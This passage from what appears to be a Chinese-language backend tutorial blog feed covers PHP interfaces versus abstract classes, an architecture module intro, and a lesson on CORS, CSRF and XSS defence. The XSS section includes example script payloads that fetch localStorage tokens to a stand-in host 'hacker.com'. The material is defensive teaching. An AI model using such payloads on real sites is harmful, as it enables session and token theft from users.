<li><p>抽象類別可以包含一般function跟抽象function</p>
</li>
<li><p>抽象方法不包含具體邏輯，只包含方法的簽名，如果抽象類別宣告了抽象方法，則子類別必須實作出該方法（或一樣使用方法簽名）</p>
</li>
</ul>
<p>假設黑貓和新竹物流，雖然運送方式不同，但 <strong>「計算運費」</strong> 的公式是一樣的（例如都是 重量 * 10）。我們不想在兩個 Class 裡寫兩遍一樣的公式。</p>
<h2 id="heading-abstract-class-1">實作 Abstract Class</h2>
<p>Abstract Class 就像是一個 <strong>「未完成的藍圖」</strong>。<strong>它不能被直接</strong> <code>new</code> 出來，只能被繼承。</p>
<pre><code class="lang-php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BaseLogistic</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">LogisticInterface</span> </span>{
    <span class="hljs-comment">// 1. 具體的方法：大家共用的邏輯寫在這裡</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateFee</span>(<span class="hljs-params">$weight</span>) </span>{
        <span class="hljs-keyword">return</span> $weight * <span class="hljs-number">10</span>;
    }

    <span class="hljs-comment">// 2. 抽象的方法：強迫子類別一定要去實作 (跟 Interface 很像)</span>
    <span class="hljs-comment">// 因為每家送貨方式不同，這裡先空著留給子類別去寫</span>
    <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>)</span>;
}
</code></pre>
<p>現在，我們的物流公司可以這樣寫：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">BaseLogistic</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-string">"黑貓運送"</span>;
    }
}
</code></pre>
<p><code>BlackCat</code> 現在自動擁有了 <code>calculateFee</code> 的能力，同時被迫實作了 <code>ship</code> 的行為。</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>特性</td><td>Interface (介面)</td><td>Abstract Class (抽象類別)</td></tr>
</thead>
<tbody>
<tr>
<td>核心概念</td><td>行為規範 (Contract)</td><td>部分實作與共用邏輯</td></tr>
<tr>
<td>比喻</td><td>USB 插槽、合約</td><td>車子的底盤、未完成的藍圖</td></tr>
<tr>
<td>實作內容</td><td>完全不能寫程式碼邏輯 (純定義)</td><td>可以寫共用的程式碼，也可以留空 (abstract method)</td></tr>
<tr>
<td>繼承數量</td><td>可以多重實作 (implements A, B, C)</td><td>只能單一繼承 (extends A)</td></tr>
<tr>
<td>使用時機</td><td>當你希望不同的類別都有相同的方法名稱時 (如：Log, Cache, Mail)</td><td>當你有多個類別長得很像，有很多重複程式碼要共用時</td></tr>
</tbody>
</table>
</div><h1 id="heading-5am5oiw5lit55qe6yg45poh">實戰中的選擇</h1>
<p>在「系統架構設計」與「依賴反轉（DIP）」層面，Interface 的重要性通常高於 Abstract Class。</p>
<p>為什麼？因為我們通常更在乎「這個物件能不能被抽換」，而不是「繼承層級」。</p>
<ul>
<li><p><strong>優先考慮 Interface</strong>：為了未來的擴充性 (例如 Lesson 15 要講的依賴注入)。</p>
</li>
<li><p><strong>輔助使用 Abstract</strong>：當你發現多個實作類別有大量重複程式碼時，再用 Abstract Class 來重構 (Refactor)。</p>
</li>
</ul>
<h2 id="heading-abstract-class-2">為什麼不要濫用 Abstract Class</h2>
<p>Abstract Class 看起來很美好：</p>
<ul>
<li><p>可以寫共用邏輯</p>
</li>
<li><p>可以少寫重複程式碼</p>
</li>
<li><p>子類別看起來「很整齊」</p>
</li>
</ul>
<p>但在真實專案中，<strong>濫用 Abstract Class 往往是系統開始變硬、變脆的起點</strong>。</p>
<p>下面是三個最常見、也最容易被忽略的風險。</p>
<h3 id="heading-5oq96lgh6age5yil5pyd44cm6ygo5pep5yen57wq6kit6kii44cn">抽象類別會「過早凍結設計」</h3>
<p>當你建立一個 Abstract Class 時，你其實是在對未來下這樣的假設：</p>
<blockquote>
<p>「這些子類別永遠都會長得差不多。」</p>
</blockquote>
<p>這個假設在一開始幾乎一定是錯的。</p>
<p><strong>問題場景</strong></p>
<pre><code class="lang-php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BaseLogistic</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateFee</span>(<span class="hljs-params">$weight</span>) </span>{
        <span class="hljs-keyword">return</span> $weight * <span class="hljs-number">10</span>;
    }

    <span class="hljs-keyword">abstract</span> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ship</span>(<span class="hljs-params">$parcel</span>)</span>;
}
</code></pre>
<p>一開始很合理，但半年後需求來了：</p>
<ul>
<li><p>DHL：計費方式不同（體積重）</p>
</li>
<li><p>Uber Eats：即時動態加價</p>
</li>
<li><p>自取：沒有運費</p>
</li>
</ul>
<p>你會開始在 <code>BaseLogistic</code> 裡面看到：</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span> <span class="hljs-keyword">instanceof</span> DHL) { ... }
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span> <span class="hljs-keyword">instanceof</span> UberEats) { ... }
</code></pre>
<p>這是一個明確的設計退化訊號。</p>
<p>Abstract Class 讓我們在還不了解變化之前，就把邏輯定死了。</p>
<h3 id="heading-php"><strong>單一繼承會快速限制擴充性（PHP 的現實）</strong></h3>
<p>在 PHP 中：</p>
<ul>
<li><p>Class 只能繼承一個 Abstract Class</p>
</li>
<li><p>但可以實作 多個 Interface</p>
</li>
</ul>
<p>這代表什麼？</p>
<p>如果用了 Abstract Class</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">BaseLogistic</span></span>
</code></pre>
<p>就失去了：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">BaseLogistic</span>, <span class="hljs-title">Trackable</span>, <span class="hljs-title">Refundable</span> // 不能</span>
</code></pre>
<p>只能選擇：</p>
<ul>
<li><p>再塞更多功能進 <code>BaseLogistic</code></p>
</li>
<li><p>或開始用 Trait 補洞（通常會更亂）</p>
</li>
</ul>
<p><strong>相對地，Interface 不會有這個問題</strong></p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BlackCat</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">LogisticInterface</span>, <span class="hljs-title">TrackableInterface</span>, <span class="hljs-title">RefundableInterface</span></span>
</code></pre>
<p><strong>I</strong>Interface 通常搭配「組合（Composition）」使用，而 Abstract Class 屬於「繼承（Inheritance）」模型。</p>
<p>而現代設計更偏好前者。</p>
<h3 id="heading-abstract-god-class">Abstract 容易變成「上帝類別」（God Class）</h3>
<p>當團隊開始「為了共用而共用」：</p>
<blockquote>
<p>「反正大家都會用到，放在 Base 裡面就好。」</p>
</blockquote>
<p>Abstract Class 很容易變成這樣：</p>
<pre><code class="lang-php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BaseLogistic</span> </span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">calculateFee</span>(<span class="hljs-params"></span>) </span>{}
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">logShipment</span>(<span class="hljs-params"></span>) </span>{}
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notifyUser</span>(<span class="hljs-params"></span>) </span>{}
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retryPolicy</span>(<span class="hljs-params"></span>) </span>{}
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">audit</span>(<span class="hljs-params"></span>) </span>{}
}
</code></pre>
<p>結果是：</p>
<ul>
<li><p>子類別被迫「繼承一堆用不到的東西」</p>
</li>
<li><p>修改 Base Class 影響所有子類別</p>
</li>
<li><p>測試成本指數型上升</p>
</li>
</ul>
<p>這直接違反了：</p>
<ul>
<li><p>SRP（單一職責原則）</p>
</li>
<li><p>OCP（開放封閉原則）</p>
</li>
</ul>
<h3 id="heading-5am5oiw5bu66k2w">實戰建議</h3>
<p>設計初期：</p>
<ul>
<li><p>先用 Interface 定義「能做什麼」</p>
</li>
<li><p>用組合（Service / Strategy）解決差異</p>
</li>
</ul>
<p>重構階段：</p>
<ul>
<li><p>當看到「多個實作類別真的有穩定重複邏輯」</p>
</li>
<li><p>再抽出一個「小而薄」的 Abstract Class</p>
</li>
</ul>
<h3 id="heading-57i957wq">總結</h3>
<p>Interface 是為了「未來的變化」， Abstract Class 是為了「已經確定不會變的部分」。</p>
]]></content:encoded></item><item><title><![CDATA[Module 3 提升程式碼品質與架構]]></title><description><![CDATA[序
在前兩個模組，我們學會了如何設計資料庫與 API，讓系統成功地「動起來」。但隨著需求不斷變更與功能堆疊，你的程式碼是否正逐漸變成一團難以維護的「Spaghetti Code」？只要改一個小功能，就會讓整個系統壞光光？
這就是「能動的程式碼」與「好品質的程式碼」之間的巨大鴻溝。
在 Module 3 中，我們將暫時放下新技術的追求，回頭檢視程式碼的「架構體質」。我們將從現代框架的核心——依賴注入 (Dependency Injection) 與 IoC 開始，理解如何透過解耦（Decoupli...]]></description><link>https://blog.bennett1999.com/the-architecture</link><guid isPermaLink="true">https://blog.bennett1999.com/the-architecture</guid><category><![CDATA[architecture]]></category><category><![CDATA[software development]]></category><category><![CDATA[clean code]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Tue, 16 Dec 2025 03:30:34 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-5bqp">序</h1>
<p>在前兩個模組，我們學會了如何設計資料庫與 API，讓系統成功地「動起來」。但隨著需求不斷變更與功能堆疊，你的程式碼是否正逐漸變成一團難以維護的「Spaghetti Code」？只要改一個小功能，就會讓整個系統壞光光？</p>
<p>這就是「能動的程式碼」與「好品質的程式碼」之間的巨大鴻溝。</p>
<p>在 Module 3 中，我們將暫時放下新技術的追求，回頭檢視程式碼的「架構體質」。我們將從現代框架的核心——<strong>依賴注入 (Dependency Injection) 與 IoC</strong> 開始，理解如何透過解耦（Decoupling）讓程式碼模組化。</p>
<p>接著，我們會深入探討 <strong>SOLID 設計原則</strong>，學習如何識別並消除程式碼中的「壞味道」。最後，我們將手中雜亂無章的 <code>If/Else</code> 邏輯與複雜的物件建立過程，透過<strong>設計模式 (Design Patterns)</strong> 進行重構。</p>
<p>寫程式是跟電腦對話，但寫出好架構是為了跟未來的自己（以及隊友）對話。讓我們開始這場程式碼的淨化之旅。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 13: 前後端分離的痛-CORS 跨域問題、 CSRF 防護機制與XSS跨腳本攻擊]]></title><description><![CDATA[前後端分離是近幾年非常熱門的架構概念，其實早在十多年前就已被提出。 在早期的實務中，前後端分離常搭配 SPA 與 CSR（Client-Side Rendering）實作，但在當時的搜尋引擎環境下，CSR 對 SEO 並不友善。
原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼，實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成；而以前搜尋引擎爬蟲並不會執行 JavaScript（現在google有針對爬蟲做出調整，但執行時機、資源配額與錯誤容忍度仍不保證即...]]></description><link>https://blog.bennett1999.com/lesson-13-cors-csrf-xss</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-13-cors-csrf-xss</guid><category><![CDATA[csrf]]></category><category><![CDATA[XSS]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[CORS]]></category><category><![CDATA[cookies]]></category><category><![CDATA[software development]]></category><category><![CDATA[backend]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Mon, 15 Dec 2025 16:00:00 GMT</pubDate><content:encoded><![CDATA[<p>前後端分離是近幾年非常熱門的架構概念，其實早在十多年前就已被提出。 在早期的實務中，前後端分離常搭配 SPA 與 CSR（Client-Side Rendering）實作，但在當時的搜尋引擎環境下，CSR 對 SEO 並不友善。</p>
<p>原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼，實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成；而以前搜尋引擎爬蟲並不會執行 JavaScript（現在<a target="_blank" href="https://developers.google.com/search/docs/crawling-indexing/javascript/javascript-seo-basics?hl=zh-tw">google有針對爬蟲做出調整</a>，但執行時機、資源配額與錯誤容忍度仍不保證即時與完整），導致頁面內容無法被正確索引。</p>
<p>為了解決這個問題，SSR（Server-Side Rendering）或預渲染逐漸成為主流做法，透過在 Server 端直接產生完整 HTML，使搜尋引擎在第一次請求時就能取得頁面內容與 SEO 相關資訊。</p>
<p>雖然後來有了 SSR（Server-Side Rendering）與 Nuxt/Next.js 等解決方案，但在架構上，前端（Frontend）與後端（Backend）部署在不同網域（Domain）已成常態。</p>
<p>這時候，後端工程師會發現：明明 Postman 測都沒問題，為什麼前端一呼叫 API 就全紅字？</p>
<p>這是因為 Postman 不受瀏覽器同源政策限制，真正受到 CORS 約束的，只有瀏覽器本身。</p>
<p>這就是我們今天要解決的兩大門神：CORS 與 CSRF。</p>
<h1 id="heading-5zcm5rqq5ps562w">同源政策</h1>
<p>在講 CORS 之前，必須先理解「同源政策」。</p>
<ul>
<li><p>什麼是「同源」？ 協議（Protocol）、網域（Domain）、埠號（Port）三者皆相同。</p>
<ul>
<li><p><code>http://localhost:3000</code> (前端) vs <code>http://localhost:8000</code> (後端) -&gt; 不同源 (Port 不同)</p>
</li>
<li><p><code>https://api.example.com</code> vs <code>https://www.example.com</code> -&gt; 不同源 (Subdomain 不同)</p>
</li>
</ul>
</li>
<li><p>為什麼要擋？ 為了防止惡意網站的 JavaScript 存取另一個來源的回應內容或敏感狀態。</p>
</li>
</ul>
<h1 id="heading-cors">CORS</h1>
<p>CORS (Cross-Origin Resource Sharing)：跨域資源共享</p>
<p>CORS 是一種機制，它允許瀏覽器向跨源伺服器，發出 <code>XMLHttpRequest</code> 或 <code>Fetch</code> 請求。簡單來說，就是<strong>後端發放「通行證」給前端</strong>。</p>
<h3 id="heading-6yen6bue6kea5b177ya">重點觀念：</h3>
<ul>
<li><p>簡單請求 (Simple Request)： 不會觸發 Preflight。條件嚴格（只能是 GET/HEAD/POST，且 Header 有限制）。</p>
</li>
<li><p>預檢請求 (Preflight Request)： 這是新手最常困惑的「為什麼我的 API 被呼叫了兩次？」。</p>
<ul>
<li><p>當請求包含自定義 Header（如 <code>Authorization: Bearer ...</code>）或方法是 <code>PUT</code>、<code>DELETE</code> 時。</p>
</li>
<li><p>瀏覽器會先發送一個 <code>OPTIONS</code> 方法的請求，詢問後端：「你允許我帶這些 Header 嗎？你允許這個 Domain 嗎？」</p>
</li>
<li><p>後端回傳 HTTP 200 OK 且帶有允許的 Header 後，瀏覽器才會發送真正的 API 請求。</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-5b6m56uv5aac5l2v6jmv55cg77yf">後端如何處理？</h3>
<ul>
<li>資安警語： 千萬不要為了方便在正式環境設定 <code>Access-Control-Allow-Origin: *</code>，這等於門戶大開。</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">瀏覽器 CORS 規範：如果今天前端攜帶 withCredentials: true，這代表 瀏覽器會 攜帶 Cookie或HTTP Authentication 或 TLS client certificate，如果這時候後端又回 Header又回Access-Control-Allow-Origin: *，這時候瀏覽器層級就會直接拒絕。</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Laravel 內建 config/cors.php，只需設定 allowed_origins 和 allowed_methods。在實務中，若使用 Cookie-based Auth，還需特別注意 supports_credentials 與allowed_headers 的設定，否則即使 Origin 正確，仍可能在 Preflight 階段被瀏覽器拒絕。</div>
</div>

<h1 id="heading-csrf">CSRF</h1>
<p>CORS 是為了防止「別人讀你的資料」，而 CSRF 是為了防止「別人用你的身份做事」。</p>
<p>CSRF 全名是 Cross-Site Request Forgery。</p>
<h2 id="heading-5ps75pok5oml5rov">攻擊手法</h2>
<ol>
<li><p>你還沒登出銀行，接著手滑點開了一個惡意網站 <code>evil.com</code>。</p>
</li>
<li><p><code>evil.com</code> 的頁面裡藏了一段程式碼 (例如一個隱藏的 Form 表單)，自動向 <code>bank.com/transfer</code> (轉帳 API) 發送一個 POST 請求。</p>
</li>
<li><p><strong>關鍵時刻來了</strong>：瀏覽器準備發送這個請求給 <code>bank.com</code>。</p>
<ul>
<li><p>瀏覽器檢查 Cookie 規則：這個請求的目標是 <code>bank.com</code> 嗎？ <strong>是！</strong></p>
</li>
<li><p>瀏覽器檢查 Domain 設定：Cookie 的 Domain 是 <code>bank.com</code> 嗎？ <strong>是！</strong></p>
</li>
</ul>
</li>
<li><p><strong>結果</strong>：瀏覽器<strong>乖乖地把 Session Cookie 帶上了</strong>。</p>
</li>
<li><p>銀行 Server 收到請求，看到合法的 Session ID，以為是你本人操作的，於是轉帳成功。錢被盜走了。</p>
</li>
</ol>
<blockquote>
<p>問題點：Domain 屬性只檢查「目標」是不是銀行，它不管你這個請求是從「銀行首頁」按的，還是從「惡意網站」按的。只要目標對，它就給過。</p>
</blockquote>
<h3 id="heading-5bcp57wq">小結</h3>
<p>在傳統 MVC 時代（例如 Laravel Blade），我們很習慣在表單裡加 <code>@csrf</code>。但在前後端分離的架構下，情況變複雜了：</p>
<ul>
<li><p>如果你的 API 使用 <code>Authorization: Bearer &lt;token&gt;</code>：</p>
<ul>
<li><p>通常存在 LocalStorage / SessionStorage。</p>
</li>
<li><p>結論： 在不使用 Cookie 的前提下，瀏覽器無法自動附帶 Token，因此不構成傳統意義上的 CSRF 攻擊面。因為瀏覽器不會自動把 LocalStorage 的東西帶進 Request Header，惡意網站拿不到你的 Token，也沒辦法讓瀏覽器幫你帶，但這也是會遇到XSS攻擊。</p>
</li>
</ul>
</li>
<li><p>如果你的 API 使用 <code>Cookie</code> (HttpOnly) 來存 Token：</p>
<ul>
<li><p>很多為了防範 XSS 的架構會選擇把 Token 存在 HttpOnly Cookie。</p>
</li>
<li><p>結論： 必須防禦 CSRF。因為這又回到了瀏覽器自動帶 Cookie 的老問題。</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-6ziy56e5oml5rov">防範手法</h2>
<h3 id="heading-csrf-token-synchronizer-token-pattern">傳統防禦：CSRF Token (Synchronizer Token Pattern)</h3>
<p>這是 Laravel Blade 預設的作法。</p>
<ol>
<li><p>後端生成一個隨機字串（Token），放在 User 的 Session 中，並傳給前端（通常放在 <code>&lt;meta&gt;</code> 或 Cookie）。</p>
</li>
<li><p>前端發送請求（POST/PUT/DELETE）時，必須手動在 Header 或 Body 帶上這個 Token。</p>
</li>
<li><p>後端檢查：<code>Request 帶來的 Token</code> == <code>Session 裡的 Token</code>？</p>
<ul>
<li>惡意網站雖然能發送請求（帶 Cookie），但它<strong>讀不到</strong>你網站的 Token，所以偽造的請求會因為缺少 Token 被後端拒絕。</li>
</ul>
</li>
</ol>
<h3 id="heading-b-samesite-cookie">B. 現代瀏覽器防禦：SameSite Cookie 屬性</h3>
<p>還記得Lesson 9 提到的Cookie SameSite嗎？這是近年來最重要的更新，Google Chrome 預設已將 Cookie 的 SameSite 設為 <code>Lax</code>。這是在 Cookie 層級直接阻斷 CSRF。</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>屬性值</strong></td><td><strong>行為</strong></td><td><strong>適用場景</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Strict</strong></td><td><strong>完全禁止</strong>跨站帶 Cookie。即使你從 A 站點擊連結到 B 站，B 站的 Cookie 也不會帶上。</td><td>銀行、極高安全性後台。但使用者體驗較差（點連結過去變成未登入）。</td></tr>
<tr>
<td><strong>Lax</strong> (預設)</td><td>允許「導航到目標網址」（如 <code>&lt;a&gt;</code> 連結、<code>window.location</code>）帶 Cookie，但<strong>禁止</strong>像圖片加載、XHR/Fetch、Form POST 這種跨站請求帶 Cookie。</td><td>絕大多數的一般網站。能防禦大部分 CSRF。</td></tr>
<tr>
<td><strong>None</strong></td><td>舊時代行為，完全不擋。必須搭配 <code>Secure</code> (HTTPS) 才能設定。</td><td>需要跨網域追蹤或特殊架構（如 iframe 嵌入）時才用。</td></tr>
</tbody>
</table>
</div><p>同樣的場景，但這次 Cookie 多了一個屬性：</p>
<ul>
<li><p><code>session_id=12345</code></p>
</li>
<li><p><code>Domain=bank.com</code></p>
</li>
<li><p><code>SameSite=Strict</code> (代表只有「在銀行網站內」的操作才能帶 Cookie)</p>
</li>
</ul>
<p><strong>攻擊流程：</strong></p>
<ol>
<li><p>你在 <code>evil.com</code>，惡意程式碼再次嘗試向 <code>bank.com/transfer</code> 發送請求。</p>
</li>
<li><p><strong>關鍵時刻來了</strong>：</p>
<ul>
<li><p>瀏覽器檢查 Domain：目標是 <code>bank.com</code>，符合。</p>
</li>
<li><p><strong>瀏覽器檢查 SameSite</strong>：這個請求是從哪裡發起的？是 <code>evil.com</code>。</p>
</li>
<li><p>瀏覽器判斷：<code>evil.com</code> 跟 Cookie 的擁有者 <code>bank.com</code> <strong>不同站 (Cross-Site)</strong>。</p>
</li>
</ul>
</li>
<li><p><strong>結果</strong>：因為 <code>SameSite=Strict</code>，瀏覽器<strong>拒絕攜帶</strong>這個 Cookie。</p>
</li>
<li><p>銀行 Server 收到一個「沒有 Cookie」的請求，判定未登入，拒絕轉帳。</p>
</li>
</ol>
<hr />
<ul>
<li><p>Cookie：是大樓的 「門禁卡」。</p>
</li>
<li><p>Domain (<a target="_blank" href="http://bank.com">bank.com</a>)：這張卡設定成 「只能刷銀行大樓的門」 (去刷旁邊超商的門沒反應)。</p>
</li>
<li><p>沒有 SameSite：歹徒在路邊拿刀抵著你 (惡意網站)，強迫你去刷銀行大樓的門。因為卡片是對的、門也是對的，門就開了。歹徒得逞。</p>
</li>
<li><p>有 SameSite：門禁系統升級，它不只看卡片，還看 「你從哪裡走過來的」。如果系統發現你是從「歹徒巢穴 (<a target="_blank" href="http://evil.com">evil.com</a>)」直接衝過來刷卡的，系統就會鎖死不讓你刷。你必須是從「銀行大廳 (同站)」走過來的才有效</p>
</li>
</ul>
<hr />
<h1 id="heading-xss">關於XSS</h1>
<p>Cross-Site Scripting（為了不跟 CSS 搞混，所以縮寫叫 XSS）。 駭客把「惡意的 JavaScript 程式碼」當作「一般文字內容」塞進你的網頁，當其他使用者瀏覽該頁面時，這段程式碼就會在<strong>使用者的瀏覽器上執行</strong>。 這是「信任」的問題。瀏覽器太信任伺服器回傳的內容，以為那只是普通的文字，殊不知裡面藏了刀。</p>
<p>這是最容易理解的 儲存型 XSS (Stored XSS) 案例：</p>
<ol>
<li><p>駭客留言： 駭客在你的文章下留言，內容不是「好棒棒」，而是：HTML</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
   <span class="hljs-comment">// 把使用者的 localstorage 傳送到駭客的伺服器</span>
   fetch(<span class="hljs-string">'&lt;https://hacker.com/steal?token=&gt;'</span> + <span class="hljs-built_in">localStorage</span>.getItem(<span class="hljs-string">'access_token'</span>));
 </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
</li>
<li><p>後端儲存： 如果後端（Rookie 工程師）沒有做任何清洗，直接把這串字存進資料庫。</p>
</li>
<li><p>受害者瀏覽： 當一般使用者（甚至管理者）打開這篇文章時，後端把資料庫的內容原封不動吐給前端顯示。</p>
</li>
<li><p>腳本執行： 受害者的瀏覽器讀到 <code>&lt;script&gt;</code> 標籤，立刻執行。受害者的 身份資料 瞬間被傳送給駭客。</p>
</li>
<li><p>帳號被盜： 駭客拿到 Session ID 或 Token，直接複製貼上，登入受害者帳號。</p>
</li>
</ol>
<h2 id="heading-xss-1">XSS 的兩大分類</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>類型</strong></td><td><strong>儲存型 (Stored)</strong></td><td><strong>反射型 (Reflected)</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>原理</strong></td><td>惡意腳本被<strong>存入資料庫</strong>，永久有效。</td><td>惡意腳本藏在 <strong>URL 參數</strong>中，騙你點擊。</td></tr>
<tr>
<td><strong>範例</strong></td><td>留言板、個人自我介紹、論壇貼文。</td><td>搜尋結果頁：<code>search.php?q=&lt;script&gt;alert(1)&lt;/script&gt;</code></td></tr>
<tr>
<td><strong>危害</strong></td><td><strong>極大</strong>。所有瀏覽該頁面的人都會中招。</td><td>針對性。只有點擊該惡意連結的人會中招。</td></tr>
</tbody>
</table>
</div><h2 id="heading-5b6m56uv5aac5l2v6ziy56am">後端如何防禦</h2>
<h3 id="heading-output-encoding-escaping">輸出編碼 (Output Encoding / Escaping)</h3>
<p>永遠假設資料庫裡的資料是髒的。在輸出到 HTML 之前，把特殊符號轉義。</p>
<ul>
<li><p><code>&lt;</code> 變成 <code>&amp;lt;</code></p>
</li>
<li><p><code>&gt;</code> 變成 <code>&amp;gt;</code></p>
</li>
<li><p><code>"</code> 變成 <code>&amp;quot;</code></p>
</li>
</ul>
<blockquote>
<p><strong>Laravel 的做法：</strong></p>
<ul>
<li><p><strong>安全：</strong> 使用 <code>{{ $message }}</code>。Laravel 的 Blade 引擎會自動呼叫 <code>htmlspecialchars</code> 函式進行轉義。瀏覽器會把 <code>&lt;script&gt;</code> 當作純文字顯示，而不會執行。</p>
</li>
<li><p><strong>危險：</strong> 使用 <code>{!! $message !!}</code>。這告訴 Laravel：「我知道我在幹嘛，請直接輸出 HTML」。除非你確定內容絕對安全，否則<strong>嚴禁使用</strong>。</p>
</li>
</ul>
</blockquote>
<h3 id="heading-input-sanitization">輸入過濾 (Input Sanitization)</h3>
<p>如果你真的允許使用者輸入 HTML（例如使用 CKEditor），你就不能全擋。這時需要用白名單機制過濾。</p>
<ul>
<li><strong>工具：</strong> 使用如 HTMLPurifier 這樣的套件，只允許 <code>&lt;b&gt;</code>, <code>&lt;p&gt;</code>, <code>&lt;img&gt;</code> 等安全標籤，把 <code>&lt;script&gt;</code>, <code>&lt;iframe&gt;</code>, <code>onclick</code> 屬性全部洗掉。</li>
</ul>
<h1 id="heading-6koc5ywf">補充</h1>
<h2 id="heading-token-localstorage-vs-httponly-cookie">Token 儲存位置的 - LocalStorage vs HttpOnly Cookie</h2>
<h3 id="heading-5qc45bd6kea5b15bcn54wn6kgo">核心觀念對照表</h3>
<h3 id="heading-5ps75pok5oof5akd5ryu57e0">攻擊情境演練</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765856594969/4efb4816-c69b-4470-b0ac-258c2dca649a.png" alt class="image--center mx-auto" /></p>
<p><strong>情境 A：存在 LocalStorage (怕 XSS)</strong></p>
<ul>
<li><p>攻擊方式： 駭客在你的網站留言版寫了一段 <code>&lt;script&gt;fetch('&lt;http://hacker.com?token='+localStorage.getItem('token&gt;'))&lt;/script&gt;</code>。</p>
</li>
<li><p>結果： 當其他使用者瀏覽到這則留言，腳本執行，Token 直接被傳送到駭客伺服器。駭客拿到 Token 後，可以隨時隨地偽裝成該使用者，直到 Token 過期。</p>
</li>
</ul>
<p><strong>情境 B：存在 HttpOnly Cookie (怕 CSRF)</strong></p>
<ul>
<li><p>攻擊方式： 同樣的 XSS 攻擊腳本。</p>
</li>
<li><p>結果： 腳本執行 <code>document.cookie</code>，但因為有 <code>HttpOnly</code> 標籤，JavaScript 讀不到 Token，回傳空值。駭客偷不到 Token。</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Lesson 12: 隱形的翻譯官-Middleware 中介層的應用場景]]></title><description><![CDATA[想像今天要進入一個戒備森嚴的皇宮（核心商業邏輯 Controller/Service）：

大門警衛：檢查你有沒有通行證（Authentication）。

安檢人員：檢查你有沒有攜帶危險物品（Input Validation/Sanitization）。

禮儀官：看你是哪國人，幫你掛上對應語言的翻譯機（Localization）。

記錄員：記下幾點幾分誰進去了（Logging）。


這四個角色，就是 Middleware。它們不負責「處理皇宮內的政務」（那是 Controller 的事）...]]></description><link>https://blog.bennett1999.com/lesson-12-middleware</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-12-middleware</guid><category><![CDATA[Middleware]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Sun, 14 Dec 2025 16:00:00 GMT</pubDate><content:encoded><![CDATA[<p>想像今天要進入一個戒備森嚴的皇宮（核心商業邏輯 Controller/Service）：</p>
<ol>
<li><p><strong>大門警衛</strong>：檢查你有沒有通行證（Authentication）。</p>
</li>
<li><p><strong>安檢人員</strong>：檢查你有沒有攜帶危險物品（Input Validation/Sanitization）。</p>
</li>
